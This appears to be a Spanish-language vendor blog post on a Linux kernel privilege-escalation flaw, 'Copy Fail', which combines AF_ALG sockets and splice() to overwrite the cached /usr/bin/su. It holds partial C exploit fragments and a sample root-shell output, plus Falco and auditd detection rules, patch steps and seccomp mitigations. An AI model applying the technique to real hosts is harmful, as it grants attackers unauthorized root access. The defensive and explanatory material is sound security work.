Copy Fail (CVE-2026-31431): el bug de Linux que da root en 732 bytes y por qué tu nube está en peligro

Qué pasó: una falla de 9 años escondida en el kernel

CVE-2026-31431, bautizada "Copy Fail", es un fallo lógico en el módulo algif_aead del kernel Linux — la interfaz que expone las primitivas criptográficas del kernel a procesos en espacio de usuario. El bug se introdujo en agosto de 2017 con el commit que añadió la plantilla authencesn, y vivió tranquilo durante 9 años hasta su publicación el 29 de abril de 2026 con CVSS de 7.8 (alto).

CISA ya lo agregó a su catálogo KEV (Known Exploited Vulnerabilities) porque hay ataques activos en producción. El gobierno federal de EE.UU. tiene hasta el 15 de mayo de 2026 para parchear todos sus sistemas.

Lo que hace particularmente peligroso a Copy Fail no es solo la severidad. Es que:

1. Funciona en todas las distros desde 2017: Ubuntu, Debian, RHEL, SUSE, Fedora, Arch, Amazon Linux, Alpine — TODAS son vulnerables si no han parcheado.
2. No depende de race conditions ni offsets del kernel: el exploit es determinístico, se ejecuta una vez y siempre funciona.
3. El PoC público es ridículamente pequeño: ~732 bytes de Python. Cualquiera con acceso shell sin privilegios puede convertirlo en root en literalmente segundos.
4. Escapa contenedores: Microsoft confirmó que afecta workloads en Kubernetes, incluyendo escapes de pods con políticas de seguridad por defecto.

Cómo funciona: la cadena de tres pasos

El ataque encadena tres mecanismos que individualmente son legítimos pero juntos crean un vector letal:

Paso 1 — Crear un socket AF_ALG con criptografía AEAD

Linux expone su criptografía via sockets AF_ALG (Algorithm). Un usuario sin privilegios puede crear un socket vinculado a authencesn(hmac(sha256),cbc(aes)):

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));

Paso 2 — Inyectar páginas del page cache vía splice()

Aquí está la magia. La syscall splice() permite mover datos entre descriptores de archivo sin copiarlos a userspace — el kernel mueve punteros a páginas físicas. Si abres /usr/bin/su (que cualquiera puede leer) y haces splice de las páginas a la pipeline criptográfica, las páginas reales del binario setuid entran al procesador AEAD.

int fd_su = open("/usr/bin/su", O_RDONLY);
int pipefd[2]; pipe(pipefd);
splice(fd_su, NULL, pipefd[1], NULL, 4096, 0);
splice(pipefd[0], NULL, alg_sock, NULL, 4096, 0);

Paso 3 — Triggerear el bug en authencesn con recvmsg()

El módulo algif_aead mantiene una scatter-gather list de las páginas a procesar. La plantilla authencesn tiene un error en el cálculo de longitudes entre el header asociado y el payload: cuando el atacante envía un mensaje cuidadosamente construido, el kernel escribe 4 bytes del resultado en una posición fuera del buffer esperado — directamente sobre la página del binario setuid en memoria.

struct msghdr msg = {0};
struct iovec iov  = { .iov_base = payload, .iov_len = 4 };
msg.msg_iov     = &iov;
msg.msg_iovlen  = 1;
recvmsg(alg_sock, &msg, 0);  // <-- aquí se escriben los 4 bytes

Resultado: la página en cache de /usr/bin/su ahora tiene la instrucción modificada para anular el setuid(getuid()) o saltar la verificación de password. El archivo en disco está intacto — pero cuando alguien ejecuta su, el kernel lee la página desde el cache y ejecuta la versión envenenada. Y su ya tiene el bit setuid root.

El exploit en acción

$ whoami
www-data
$ python3 copy_fail.py
[+] AF_ALG socket bound to authencesn(hmac(sha256),cbc(aes))
[+] splice'd 4096 bytes from /usr/bin/su into crypto pipeline
[+] recvmsg triggered, 4 bytes written at offset 0x1a3c
[+] /usr/bin/su page cache patched
[+] Spawning shell...
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

De www-data a root en menos de un segundo.
Sin tocar el disco. Sin reinicios. Sin warnings en dmesg.

¿A quién afecta esto realmente?

Cómo detectar si te están explotando

Indicadores de compromiso

1. Procesos no privilegiados creando sockets AF_ALG — esta es la firma más clara. En condiciones normales solo cryptsetup, systemd-cryptsetup y un puñado de binarios legítimos crean estos sockets.
2. Modificaciones a setuid binaries en el page cache — el binario en disco se ve intacto (mismo hash, misma fecha) pero su comportamiento cambió. Sospecha si sha256sum /usr/bin/su coincide con el oficial pero los logs muestran que un usuario obtuvo shell sin contraseña.
3. Drops de page cache forzados — atacantes sofisticados harán echo 1 > /proc/sys/vm/drop_caches después para borrar la evidencia.

Detección con Falco (runtime)

Si tienes Falco corriendo, agrega esta regla:

- rule: Suspicious AF_ALG Socket Creation
  desc: Detect non-crypto processes creating AF_ALG sockets (CVE-2026-31431)
  condition: >
    evt.type=socket and
    evt.arg.domain=AF_ALG and
    not proc.name in (cryptsetup, systemd-cryptsetup, dmsetup, fscrypt)
  output: >
    Suspicious AF_ALG socket created (user=%user.name proc=%proc.name
    cmdline=%proc.cmdline pid=%proc.pid container=%container.name)
  priority: CRITICAL
  tags: [cve-2026-31431, copy_fail, privilege_escalation]

Detección con auditd

# Agrega a /etc/audit/rules.d/copy-fail.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -k cve_2026_31431

# Aplicar
# augenrules --load

# Buscar eventos
# ausearch -k cve_2026_31431 --start today

Cómo protegerte HOY (3 niveles)

1 Parchear (lo correcto)

Si tu distro ya tiene el parche disponible, actualiza el kernel YA:

# Ubuntu / Debian
$ sudo apt update && sudo apt upgrade linux-image-generic
$ sudo reboot

# RHEL / Fedora / Rocky / Alma
$ sudo dnf update kernel
$ sudo reboot

# SUSE
$ sudo zypper patch
$ sudo reboot

# Arch
$ sudo pacman -Syu
$ sudo reboot

Versiones corregidas confirmadas: Linux 7.0, 6.19.12, 6.18.22. Si tu uname -r muestra algo igual o posterior, estás OK.

2 Mitigación sin parchar (si no puedes reiniciar ya)

Deshabilita el módulo algif_aead permanentemente:

# echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
# sudo rmmod algif_aead 2>/dev/null || true

# Verificar que ya no carga
# lsmod | grep algif_aead   # debe estar vacío

3 Defensa en profundidad para contenedores

Si corres Kubernetes, agrega seccomp para bloquear AF_ALG en TODOS los pods:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1,
      "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }]
    }
  ]
}

(38 es el valor de AF_ALG en Linux.)

El elefante en la sala: ¿por qué tardaron 9 años?

El bug estaba en código criptográfico — la última zona del kernel donde uno esperaría buscar bugs. La lógica de authencesn solo se activa con un payload muy específico, y los fuzzers automatizados tienden a no llegar ahí porque deben crear sockets AF_ALG, hacer bind con strings exactos, splice de páginas, etc. Es exactamente el tipo de bug que solo encuentra un humano leyendo código línea por línea.

Y precisamente por eso tu mejor defensa de fondo no es "esperar el siguiente parche". Es tener alguien que entienda tu superficie de ataque, audite tu infraestructura periódicamente y monitoree comportamiento anormal en runtime.

Qué hacemos nosotros en ALMSTRA

Cada cliente con póliza de Auditoría empresarial o Business Shield ya recibió en las últimas 48 horas:

1. Inventario de kernels Linux en su infraestructura, con marcado rojo de los vulnerables.
2. Plan de parcheo escalonado por ventana de mantenimiento, priorizando hosts multi-tenant y workers de Kubernetes.
3. Reglas Falco / auditd desplegadas en sistemas de monitoreo donde aplica.
4. Mitigación temporal de algif_aead donde el reinicio no se podía hacer hoy.
5. Revisión forense de logs históricos (últimos 90 días) buscando indicadores de compromiso previos a la divulgación pública.

Si no tienes una póliza con nosotros y administras servidores Linux que importan — sitios de e-commerce, sistemas con datos de clientes, infraestructura de producción — hoy es el día de pedir un diagnóstico. La ventana entre disclosure y explotación masiva ya es de horas, no días.

TL;DR para administradores apurados

Fuentes

• The Hacker News — New Linux 'Copy Fail' Vulnerability Enables Root Access
• The Hacker News — CISA Adds Copy Fail to KEV Catalog
• Microsoft Security Blog — CVE-2026-31431 Cloud Impact
• Wiz Blog — Universal Linux LPE Analysis
• Sysdig — Detection with Falco
• Tenable FAQ — Copy Fail
• Help Net Security — Nine-year-old Linux kernel flaw
• Bugcrowd — What we know about Copy Fail
• Ubuntu Security Notice — CVE-2026-31431
• Sophos — PoC available
• The Register — Linux cryptographic code flaw
• oss-security mailing list — Original disclosure

Publicado el 5 de mayo de 2026 por el equipo de ALMSTRA. Si tu equipo necesita asesoría inmediata sobre Copy Fail o cualquier otra vulnerabilidad crítica, contáctanos. Operamos en Hermosillo, Sonora, con cobertura nacional para servicios de ciberseguridad gestionada.